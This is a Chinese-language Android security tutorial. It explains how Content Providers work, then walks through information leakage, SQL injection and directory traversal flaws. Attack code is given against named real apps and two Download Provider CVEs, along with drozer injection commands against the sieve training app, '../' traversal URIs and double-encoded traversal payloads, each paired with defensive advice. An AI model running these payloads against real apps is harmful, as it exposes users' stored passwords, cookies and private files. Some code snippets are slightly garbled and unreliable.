Android APP漏洞之戰——Content Provider漏洞詳解
前言
今天總結Android APP四大組件中Content Provider挖掘的知識,主要分為兩個部分,一部分是對Android Content Provider內容提供器的原理總結,另一部分便是對Android provider機制常見的一些漏洞總結,包括一些已知的漏洞方法,和一部分案例實踐。
Content Provider初步介紹
1、Content Provider的基本原理
(1)Content Provider簡介

Android中的數據存儲方式:Shared Preferences、網絡存儲、文件存儲、外部存儲、SQLite,這些存儲方式一般在單獨的應用程序中實現數據共享,對于不同應用之間共享數據,就要借助Content Provider。
ContentProvider為存儲和讀取數據提供了統一的接口,使用表的形式來對數據進行封裝,使用ContentProvider可以在不同的應用程序之間共享數據,統一數據的訪問方式,保證數據的安全性。
(2)Content Provider作用


Content Provider可以使得不同APP進程之間進行數據交互和共享,即跨進程通信。
(3)URI詳解
我們創建一個Content Provider,其他的應用可以通過使用ContentResolver來訪問ContentProvider提供的數據,而ContentResolver通過uri來定位自己要訪問的數據,所以我們要先了解URI
URI:
URI的介紹:
(1)定義:Uniform Resource Identifier,即統一資源標識符。
(2)作用:唯一標識ContentProvider &其中的數據。
(3)外界進程通過URL找到對應的ContentProvider &其中數據,再進行數據操作。

(1)標準前綴:content:// ,用來說明一個Content Provider控制這些數據。
(2)URL的標識:com.carson.provider, 用于唯一標識這個ContentProvider,外部調用者可以根據這個標識來找到它。對于第三方程序,為了保證URL標識的一致性,必須是一個完整的、小寫的類名,這個標識在元素的authorities屬性中說明,一般是定義該ContentProvider的包.類的名稱。
(3)路徑:User,要操作的數據庫中表的名字,或者可以自己定義,記得在使用的時候保持一致。
(4)記錄ID:id, 如果URL中包含表示需要獲取的記錄ID,則返回該id對應的數據,如果沒有ID,就表示返回全部。
構建URI的路徑:
(1)操作User表中id為11的記錄,構建數據:/User/11
(2)操作User表中id為11的記錄的name字段:User/11/name
(3)操作User表中的所有記錄:/User
(4)操作來自文件、xml或網絡其他存儲方式的數據,如要操作xml文件中User節點下的name字段:/User/name
(5)若要將一個字符串轉換成URI,可以使用Uri類中的parse()方法:
Uri uri = Uri.parse("content://com.carson.provider/User")
URI各部分的獲取:
我們給出一個URI的樣例:
http://www.baidu.com:8080/wenku/jiatiao.html?id=123456&name=jack
我們介意使用一些方法來獲取URI的各個部分:
getScheme():獲取 Uri 中的 scheme 字符串部分,在這里是 httpgetHost():獲取 Authority 中的 Host 字符串,即 www.baidu.comgetPost():獲取 Authority 中的 Port 字符串,即 8080getPath():獲取 Uri 中 path 部分,即 wenku/jiatiao.htmlgetQuery():獲取 Uri 中的 query 部分,即 id=15&name=jack
MIME:
MIME是指定某個擴展名的文件用一種應用程序打開,就像用瀏覽器查看PDF格式的文件,瀏覽器會選擇合適的應用打開。ContentProvider 會根據 URI 來返回 MIME 類型,ContentProvider 會返回一個包含兩部分的字符串。
MIME 類型一般包含兩部分,如:
text/htmltext/csstext/xmlapplication/pdf
分為類型和子類型,Android 遵循類似的約定來定義MIME類型,每個內容類型的 Android MIME 類型有兩種形式:多條記錄(集合)和單條記錄。
- 集合記錄(dir):
vnd.android.cursor.dir/自定義
- 單條記錄(item):
vnd.android.cursor.item/自定義
vnd 表示這些類型和子類型具有非標準的、供應商特定的形式。Android中類型已經固定好了,不能更改,只能區別是集合還是單條具體記錄,子類型可以按照格式自己填寫,在使用 Intent 時,會用到 MIME,根據 Mimetype 打開符合條件的活動。
URI解析:
這里URI代表要操作的數據,我們在對數據進行獲取時需要解析URI,Android提供了兩個操作URI的工具類:UriMatcher 和 ContentUris。
UriMatcher:
UriMatcher類用于匹配Uri,使用步驟如下:
- 將需要匹配的Uri路徑進行注冊:
//常量UriMatcher.NO_MATCH表示不匹配任何路徑的返回碼UriMatcher sMatcher = new UriMatcher(UriMatcher.NO_MATCH);//如果match()方法匹配“content://com.wang.provider.myprovider/tablename”路徑,返回匹配碼為1sMatcher.addURI("content://com.wang.provider.myprovider", " tablename ", 1);//如果match()方法匹配content://com.wang.provider.myprovider/tablename/11路徑,返回匹配碼為2sMatcher.addURI("com.wang.provider.myprovider", "tablename/#", 2);
此處采用 addURI 注冊了兩個需要用到的 URI;注意,添加第二個 URI 時,路徑后面的 id 采用了通配符形式 “#”,表示只要前面三個部分都匹配上了就 OK。
補充:
*:表示匹配任意長度的任意字符#:表示匹配任意長度的數字匹配任意表的內容URI格式:content://com.example.app.provider/*匹配table表中1任意一行數據的內容URI格式:content://com.example.app.procider/table/#
- 注冊完需要匹配的 Uri 后,可以使用 sMatcher.match(Uri) 方法對輸入的 Uri 進行匹配,如果匹配就返回對應的匹配碼,匹配碼為調用 addURI() 方法時傳入的第三個參數。
switch (sMatcher.match(Uri.parse("content://com.zhang.provider.yourprovider/tablename/100"))) { case 1: //match 1, todo something break; case 2 //match 2, todo something break; default: //match nothing, todo something break;}
ContentUris:
ContentUris類用于操作Uri路徑后面的ID部分,有兩個比較實用的方法:withAppendedId(Uri uri, long id)和parseId(Uri uri)。
- withAppendedId(Uri uri, long id)用于為路徑加上ID部分:
Uri uri = Uri.parse("content://com.wang.provider.myprovider/tablename");//生成的Uri為:content://com.wang.provider.myprovider/tablename/10 Uri resultUri = ContentUris.withAppendedId(uri, 10);
- parseId(Uri uri)則從路徑中獲取ID部分:
Uri uri = Uri.parse("content://com.zhang.provider.myprovider/tablename/10")//獲取的結果為:7long personid = ContentUris.parseId(uri);
(4)Content Provider數據共享
ContentProvider是一個抽象類,我們需要開發自己的內容提供者就需要繼承這個類并復寫其方法:
ContentProvider 類主要方法的介紹:public boolean onCreate(),在ContentProvider創建后就會被調用,而ContentProvider是在其它應用第一次訪問它時被創建;public Uri insert(Uri uri, ContentValues values),供外部應用向ContentProvider添加數據;public int delete(Uri uri, String selection, String[] selectionArgs),供外部應用從ContentProvider刪除數據;public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs),供外部應用更新ContentProvider中的數據;public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder),供外部應用從ContentProvider中獲取數據;public String getType(Uri uri),返回當前Uri所代表數據的MIME類型;
如果操作的數據屬于集合類型,那么 MIME 類型字符串應該以 vnd.android.cursor.dir/ 開頭:
要得到所有 tablename 記錄:Uri 為 content://com.wang.provider.myprovider/tablename,那么返回的MIME類型字符串應該為vnd.android.cursor.dir/table
如果要操作的數據屬于非集合類型數據,那么 MIME 類型字符串應該以 vnd.android.cursor.item/ 開頭:
要得到 id 為 10 的 tablename 記錄,Uri 為 content://com.wang.provider.myprovider/tablename/10,那么返回的 MIME 類型字符串為:vnd.android.cursor.item/tablename
(5)Content Resolver操作數據
當外部應用需要對ContentProvider中的數據進行添加、刪除、修改及查詢操作時,可以使用ContentResolver類來完成,要獲取ContentResolver對象,可以使用Activity提供getContentResolver()。
ContentResolver類提供了與ContentProvider類相同簽名的四個方法:

public Uri insert(Uri uri, ContentValues values),往ContentProvider添加數據; public int delete(Uri uri, String selection, String[] selectionArgs),從ContentProvider刪除數據; public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs),更新ContentProvider中的數據; public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder),從ContentProvider中獲取數據;
這些方法的第一個參數為Uri,代表要操作的ContentProvider和對其中的什么數據進行操作,其實和ContentProvider里面的方法是一樣的,最終會被傳到我們之前程序里面定義的ContentProvider方法。
假定給定的是:Uri.parse("content://com.wang.provider.myprovider/tablename/10"),那么將會對主機名為com.wang.provider.myprovider的ContentProvider進行操作,操作的數據為tablename表中id為10的記錄
使用ContentResolver對ContentProvider中的數據進行操作:
ContentResolver resolver = getContentResolver(); Uri uri = Uri.parse("content://com.wang.provider.myprovider/tablename"); //添加一條記錄 ContentValues values = new ContentValues(); values.put("name", "wang1"); values.put("age", 28); resolver.insert(uri, values); //獲取tablename表中所有記錄 Cursor cursor = resolver.query(uri, null, null, null, "tablename data");while(cursor.moveToNext()){ Log.i("ContentTest", "tablename_id="+ cursor.getInt(0)+ ", name="+ cursor.getString(1));}//把id為1的記錄的name字段值更改新為zhang1ContentValues updateValues = new ContentValues();updateValues.put("name", "zhang1");Uri updateIdUri = ContentUris.withAppendedId(uri, 2);resolver.update(updateIdUri, updateValues, null, null);//刪除id為2的記錄,即字段ageUri deleteIdUri = ContentUris.withAppendedId(uri, 2);resolver.delete(deleteIdUri, null, null);
監聽數據變化:
如果ContentProvider的訪問者需要知道數據發生的變化,可以在ContentProvider發生數據變化時調用getContentResolver().notifyChange(uri, null)來通知注冊在此URI上的訪問者。只給出類中監聽部分的代碼:
public class MyProvider extends ContentProvider { public Uri insert(Uri uri, ContentValues values) { db.insert("tablename", "tablenameid", values); getContext().getContentResolver().notifyChange(uri, null); }}
而訪問者必須使用ContentObserver對數據(數據采用uri描述)進行監聽,當監聽到數據變化通知時,系統就會調用ContentObserver的onChange()方法:
getContentResolver().registerContentObserver(Uri.parse("content://com.ljq.providers.personprovider/person"), true, new PersonObserver(new Handler())); public class PersonObserver extends ContentObserver{ public PersonObserver(Handler handler) { super(handler); } public void onChange(boolean selfChange) { //to do something } }
(6)Content Provider使用

創建內容提供者的基本流程:
(1)創建一個擴展ContentProviderbaseclass的 Content Provider 類。
(2)定義將用于訪問內容的內容提供者 URI 地址。
(3)創建自己的數據庫來保存內容。通常,Android 使用 SQLite 數據庫,框架需要覆蓋onCreate()方法,該方法將使用 SQLite Open Helper 方法創建或打開提供者的數據庫。當您的應用程序啟動時,其每個內容提供程序的onCreate()處理程序在主應用程序線程上被調用。
(4)實現內容提供者查詢以執行不同的數據庫特定操作。
(5)最后使用 標簽在您的活動文件中注冊您的內容提供者。
2、Content Provider漏洞的種類和危害
Content Provoder漏洞大致可以分為:

Content Provider漏洞的危害:
Android中Content Provider起到在不同的進程APP之間實現共享數據的作用,通過Binder進程間通信機制以及匿名共享內存機制來實現,但是考慮到數據的安全性,我們需要設置一定的保護權限。
Binder進程間通信機制突破了以應用程序為邊界的權限控制,是安全可控的,數據的訪問接口由數據的所有者來提供,數據提供方實現安全控制,決定數據的讀寫操作。
而content Provider組件本身提供了讀取權限控制,這導致在使用過程中就會存在一些漏洞。
Content Provider漏洞原理分析和復現
1、漏洞挖掘方法
先檢測組件的exported屬性,再檢測組件permission、readPermission、writePermissio對應的protectionlevel,最后再檢測sdk版本。

(1)查找導出Provider
①反編譯 apk 文件,在AndroidManifest.xml中查找顯示設置了android:exported="true"Content Provider。
②使用drozer工具,執行命令:run app.provider.info -a ddns.android.vuls。
(2)查找URI
- 反編譯apk文件,在代碼中查找UriMatcher.addURI,并手動拼接uri。

如上,可以拼接出:
content://ddns.vuls.AccountProvider/accountcontent://ddns.vuls.AccountProvider/account/content://ddns.vuls.AccountProvider/account/1content://ddns.vuls.AccountProvider/account/aaa
- 使用drozer工具
執行命令 run app.provider.finduri ddns.android.vuls
(3)方法使用
1.使用adb shell查詢例子:adb shell content query --uri 具體uri2.使用drozer驗證例子:run app.provider.query "具體uri"3.編寫目標代碼例如:private void getyouni(){ int i = 0; ContentResolver contentresolver=getContentResolver(); String[] projection={"* from contacts--"}; Uri uri =Uri.parse("content://com.snda.youni.providers.DataStructs/message_ex"); Cursor cursor=contentresolver.query(uri.projection,null,null,null); String text=""; while(cursor.moveToNext()){ text+=cursor.getString(cursor.getColumnIndex("display_name"))+""; } Log.i("TEST",text);}
我們下面將結合這三種方法來對一些常見的案例進行漏洞挖掘介紹。
2、信息泄露漏洞
(1)原理介紹
content URI是一個標志provider中的數據的URI。Content URI中包含了整個provider的以符號表示的名字(它的authority)和指向一個表的名字(一個路徑)。當你調用一個客戶端的方法來操作一個,provider中的一個表,指向表的contentURI是參數之一,如果對ContentProvider的權限沒有做好控制,就有可能導致惡意的程序通過這種方式讀取APP的敏感數據。
(2)漏洞復現
案例1:盛大有你Android存在信息泄露漏洞
目標代碼:
攻擊代碼:
private void getyouni(){ int i = 0; ContentResolver contentresolver=getContentResolver(); String[] projection={"* from contacts--"}; Uri uri =Uri.parse("content://com.snda.youni.providers.DataStructs/message_ex"); Cursor cursor=contentresolver.query(uri.projection,null,null,null); String text=""; while(cursor.moveToNext()){ text+=cursor.getString(cursor.getColumnIndex("display_name"))+""; } Log.i("TEST",text);}
代碼分析:
我們可以分析目標程序的provider的進程名和授權的的URI,我們可以根據授權的URI來構建一個URI,然后通過contentresolver去讀取里面的的列表名信息,這樣我們就可以獲取APP中的隱私數據信息。
案例2:樣例sieve.apk
我們先向apk中添加一條數據,然后保存:

我們先使用drozer對內容提供器的路徑進行掃描:
run scanner.provider.finduris -a <包名>
報錯:drozer could not find or compile a required extension library
這是由于我們drozer2.7中代碼導致的,我們需要修改相應的代碼,參考網址(https://github.com/FSecureLABS/drozer/issues/361 )


我們可以對敏感數據讀取:
run app.provider.query uri

我們就成功的將我們剛才保存的賬號密碼信息給獲取了。
案例3:CVE-2018-9546: Download Provider文件頭信息泄露
漏洞描述:
Download Provider運行app獲取下載的http請求頭,但理論上APP只能訪問自己下載的文件的http請求頭,但Download Provider沒有做好權限配置,導致heads可以被任意讀取。header中會保存一些敏感數據,例如cookie等。
目標代碼:
讀取header的URI為:content://download/mydownloads/download_id/headers
攻擊代碼:
Uri uri = Uri.parse("content://download/mydownloads/1493/headers");Cursor cur = res.query(uri, null, null, null, null);
try { if (cur != null && cur.getCount() > 0) { StringBuilder sb = new StringBuilder(LOG_SEPARATOR); sb.append("HEADERS FOR DOWNLOAD ID ").append(id).append(""); while (cur.moveToNext()) { String rowHeader = cur.getString(cur.getColumnIndex("header")); String rowValue = cur.getString(cur.getColumnIndex("value")); sb.append(rowHeader).append(": ").append(rowValue).append(""); } log(sb.toString()); }} finally { if (cur != null) cur.close();}
由于header的URI并未做一些防護措施,我們可以將download_id取具體的值,然后來獲取里面的具體信息。
(3)安全防護
① minSdkVersion不低于9。
②不向外部app提供數據的私有content provider顯示設置exported=”false”,避免組件暴露(編譯api小于17時更應注意此點)。
③內部app通過content provid交換數據時,設置protectionLevel=”signature”驗證簽名。
④公開的content provider確保不存儲敏感數據。
針對權限保護繞過防御措施:
①使用Context.checkCallingPermission()和Context.enforceCallingPermission()來確保調用者擁有相應的權限,防止串謀攻擊(confused deputy)。
②可以使用如下函數,獲取應用的permission保護級別是否與系統中已定義的permission保護級別一致。如果不一致,則拋出異常。
3、SQL注入漏洞
(1)原理介紹
對Content Provider進行增刪改查操作時,程序沒有對用戶的輸入進行過濾,未采用參數化查詢的方式,可能會導致sql注入攻擊。
所謂的SQL注入攻擊指的是攻擊者可以精心構造selection參數、projection參數以及其他有效的SQL語句組成部分,實現在未授權的情況下從Content Provider獲取更多信息。應該避免使用SQLiteDatabase.rawQuery()進行查詢,而應該使用編譯好的參數化語句。
使用預編譯好的語句比如SQLiteStatement,不僅可以避免SQL注入,而且操作性能也大幅提高,因為其不用每次執行都進行解析。
另外一種方式是使用query(),insert(),update(),和delete()方法,因為這些函數也提供了參數化的語句。預編譯的參數化語句,問號處可以插入或者使bindString()綁定值。從而避免SQL注入攻擊。
(2)漏洞復現
案例1:安全管家客戶端存在SQL注入攻擊
漏洞說明:
Android版安全管家客戶端contentprovider uri配置不當,導致sql注入,使得任何應用可不需要root權限下,獲得和修改數據庫中數據。
Androidmanifest文件中定義的provider:

使用drozer掃描客戶端程序存在的contentProvider uri:

搜索到對外暴露可訪問的uri:

newapp.db結構:

查看新安裝應用的包名:

查看白名單:


案例2:樣本sieve
我們使用drozer掃描注入的位置:
run scanner.provider.injection -a <包名>

然后我們執行以下命令,發現返回了報錯信息,接著構造sql獲取敏感數據。
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection " * from Key;--+"

列出所有表信息:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

獲取具體表信息:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

列出該app的表信息:
run scanner.provider.sqltables -a com.mwr.example.sieve

案例3:CVE-2018-9493: Download Provider SQL注入
漏洞分析:
Download Provider中的以下columns是不允許被外部訪問的,例如CookieData,但是利用SQL注入漏洞可以繞過這個限制。
projection參數存在注入漏洞,結合二分法可以爆出某些columns字段的內容。
目標代碼:

攻擊代碼:
詳細可以參考該作者博客:(https://mabin004.github.io/2019/04/15/Android-Download-Provider%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
(3)安全防護
①實現健壯的服務端校驗。
②使用參數化查詢語句,比如SQLiteStatement。
③避免使用rawQuery()。
④過濾用戶的輸入。
4、目錄遍歷漏洞
(1)原理介紹
Android Content Provider存在文件目錄遍歷安全漏洞,該漏洞源于對外暴露Content Provider組件的應用,沒有對Content Provider組件的訪問進行權限控制和對訪問的目標文件的Content Query Uri進行有效判斷,攻擊者利用該應用暴露的Content Provider的openFile()接口進行文件目錄遍歷以達到訪問任意可讀文件的目的。
漏洞觸發的前提條件:
對外暴露的Content Provider組件實現了openFile()接口;
沒有對所訪問的目標文件Uri進行有效判斷,如沒有過濾限制如“../”可實現任意可讀文件的訪問的Content Query Uri。
(2)漏洞復現
案例1:趕集網Android客戶端Content Provider組件任意文件讀取漏洞(http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2013-044407)
漏洞分析:
趕集網客戶端APP的實現中定義了一個可以訪問本地文件的Content Provider組件,默認的android:exported="true",對應com.ganji.android.jobs.html5.LocalFileContentProvider,該Provider實現了openFile()接口,通過此接口可以訪問內部存儲app_webview目錄下的數據,由于后臺未能對目標文件地址進行有效判斷,可以通過"../"實現目錄跨越,實現對任意私有數據的訪問(當然,也可以訪問任意外部存儲數據,只是我們更關心私有敏感數據)。
攻擊代碼:
public void GJContentProviderFileOperations(){ try{ InputStream in = getContentResolver().openInputStream(Uri.parse("content://com.ganji.html5.localfile.1/webview/../../shared_prefs/userinfo.xml")); ByteArrayOutputStream out = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int n = in.read(buffer); while(n>0){ out.write(buffer, 0, n); n = in.read(buffer); Toast.makeText(getBaseContext(), out.toString(), Toast.LENGTH_LONG).show(); } }catch(Exception e){ debugInfo(e.getMessage()); }}
案例2:樣本sieve
我們檢測文件遍歷漏洞:
run scanner.provider.traversal -a <包名>

我們讀取系統文件:
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

我們下載系統文件:
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db f:/home/database.db

案例3:
目標代碼:
private static String IMAGE_DIRECTORY=localFile.getAbsolutePath();public ParcelFileDescriptor openFile(Uri paramUri,String paramString);throws FileNotFoundException{ File file=new File(IMAGE_DIRECTORY,paramUri.getLastPathSegment()); return ParcelFileDescriptor.open(file,ParcelFileDescriptor.MODE_READ_ONLY);}
我們可以從目標代碼中分析,這段代碼使用android.net.Uri.getLastPathSegment()從paramUri中獲取文件名,然后將其放置在預定義好的目錄IMAGE_DIRECTORY中,如果該URL是encoded編碼后的,那么將可能導致目錄遍歷漏洞。
Android4.3開始,Uri.getLastPathSegment()內部實現調用Uri.getPathSegments()。
Uri.getPathSegments()部分代碼片段: PathSegments getPathSegments(){ if(pathSegments!=null){ return pathSegments; } String path = getEncoded(); if(path==null){ return pathSegments = PathSegments.EMPTY; } PathSegmentsBuilder segmentBuilder=new PathSegmentsBuilder(); int previous =0; int current; while((current=path.indexOf('/',previous))>-1){ if(previous String decodedSegment=decode(path.substring(previous,current)); segmentBuilder.add(decodedSegment); } previous=current+1; } if(previous segmentBuilder.add(decode(path.substring(preyious))); } return pathSegments=segmentBuilder.build();}
Uri.getPathSegments首先會通過getEncoded()獲取一個路徑,然后以”/“為分隔符將path分成片段,最后調用decode()方法解碼。
假如我們傳遞encoded編碼后的url給getLastPathSegment(),編碼后的分隔符就變成了%2F,繞過了內部的分割規則,那么返回的就可能不是真正想要的文件了。這是API設計方面的問題,直接導致了目錄遍歷漏洞。
public String getLastPathSegment(){ List segments=getPathSegments(); int size=segments.size(); if(size==0){ return null; } return segments.get(size-1);}
為了避免這種情況導致的目錄遍歷漏洞,開發者應該在傳遞給getLastPathSegment()之前解碼,采用調用兩次getLastPathSegment()方法的方式,第一次調用是為了解碼,第二次調用期望得到正確的值這一部分大家可以詳細參考博客:(https://tea9.xyz/post/758430476.html)
private static String IMAGE_DIRECTORY=localFile.getAbsolutePath(); public ParcelFileDescriptor openFile(Uri paramUri,String paramString) throws FileNotFoundException{ File file=new File(IMAGE_DIRECTORY,Uri.parse(paramUri.getLastPathSegment()).getLastPathSegment()); return ParcelFileDescriptor.open(file,ParcelFileDescriptor.MODE_READ_ONLY); }
這個編碼后的URL: ..%2F..%2F..%2Fdata%2Fdata%2Fcom.example.android.app%2Fshared_prefs%2FExample.xml 第一次調用getLastPathSegment(),會返回../../../data/data/com.example.android.app/shared_prefs/Example.xml。 第二次調用getLastPathSegment()會返回Example.xml
然而攻擊者可以采用一種叫做"Double Encoding"的技術,使得第一次調用getLastPathSegment()后無法解碼。
比如下面經過double encoded后的string就可以繞過上面這種防御
%252E%252E%252F%252E%252E%252F%252E%252E%252Fdata%252Fdata%252Fcom.example.android.app%252Fshared_prefs%252FExample.xml
第一次解碼后: %2E%2E%2F%2E%2E%2F%2E%2E%2Fdata%2Fdata%2Fcom.example.android.app%2Fshared_prefs%2FExample.xml
第二次解碼后: ../../../data/data/com.example.android.app/shared_prefs/Example.xml仍會導致目錄遍歷。所以簡單的解碼后再傳人也是不夠的,仍然需要嚴格校驗以確保path是期望的路徑。
(3)安全防護
① 將不必要導出的Content Provider設置為不導出。
② 去除沒有必要的openFile()接口。
③ 過濾限制跨域訪問,對訪問的目標文件的路徑進行有效判斷。
④ 設置權限來進行內部應用通過Content Provider的數據共享。
實驗總結
本文對Content Provider內容提供器的基本原理做了一個詳細講解,然后對Provider常見的一些漏洞情況作了分析,這里面一部分漏洞來自于漏洞平臺,一部分來自于網上的博客收集總結,還提供了一個樣例sieve.apk,初步的實現信息泄露、SQL注入、目錄遍歷漏洞的基本操作方式,也介紹了一般挖掘provider漏洞的基本方法。
其中關于drozer的具體操作使用,大家可以參考之前的博客:Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF(https://bbs.pediy.com/thread-269196.htm),當然可能對于Provider中的漏洞介紹還不是很全面,其他的就請各位大佬指正了。
參考文獻
Content Provider原理介紹
https://www.cnblogs.com/tgyf/p/4696288.html
https://www.jianshu.com/p/5e13d1fec9c9
https://www.cnblogs.com/huansky/p/13785634.html
http://www.tutorialspoint.com/android/android_content_providers.htm
Content Provider漏洞挖掘
https://tea9.xyz/post/758430476.html
https://ayesawyer.github.io/2019/08/21/Android-App%E5%B8%B8%E8%A7%81%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/
https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0156386
http://www.feidao.site/wordpress/?p=3295
http://www.hackdig.com/03/hack-19497.htm
https://mabin004.github.io/2019/04/15/Android-Download-Provider%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/